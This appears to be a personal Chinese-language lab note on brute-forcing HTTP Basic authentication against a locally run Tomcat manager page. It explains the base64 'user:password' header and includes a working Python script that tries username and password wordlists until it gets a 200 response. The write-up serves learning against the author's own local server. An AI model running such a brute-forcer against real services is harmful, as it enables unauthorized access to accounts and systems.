一个并不美好的开头
- 服务搭了快一辈子,最后不知道怎么回事自己莫名其妙就搭上了,明明点那个bat文件疯狂闪退的
- 和bp撞了端口又去改掉了端口,然后设置了一下密码
- 终于终于终于,可以开始进入正题了
原理
- bp抓包可以看到,输入的用户名和密码被组合成:
[用户名]:[密码]
的形式然后被base64加密了
- 丢到Intruder里,随便写几个爆破一下,可以看到返回的状态码是不一样的,这就好办多啦
- 这里还要注意一个是,数据是在请求头里传输的:
Authorization: Basic MTExMToxMTExMQ==
思路
- 首先处理请求头,把
username
和password
通过:
拼接后进行base64编码
- 还要记得和
Basic[空格]
拼接,惨痛的教训
- 然后定义一个函数发送一个get请求,并传输构造的请求头,获取返回的状态码
- 循环逐行读入
username
和password
,判断返回的状态码是否为200
- 这里还要注意返回的状态码是int型,不要和
'200'
去比较,不然这辈子都跑不出来,惨痛的教训+1+1+1
- 总之这个可比爆破phpmyadmin简单哆啦
代码
import requests
import base64
url = 'http://127.0.0.1:9999/manager/html'
def set_header(username, password):
t = username + ':' + password
authorization = 'Basic ' + str(base64.b64encode(t.encode('utf-8')), 'utf-8')
# print(authorization)
h = {'Authorization': authorization}
return h
def get_status_code(h):
r = requests.get(url=url, headers=h)
return r.status_code
def start_attacking():
try:
with open('user.txt', 'r+') as u:
for i in u:
with open('password.txt', 'r+') as p:
for j in p:
user = i.strip()
password = j.strip()
h = set_header(user, password)
r = get_status_code(h)
if r == 200:
print('Success! username: ' + user + ' | password: ' + password)
return 1
else:
pass
except Exception as e:
print(e.args)
return -1
return 0
if __name__ == "__main__":
rs = start_attacking()
if rs == 0:
print('Fail! No matching user and password were found in the files.')
else:
pass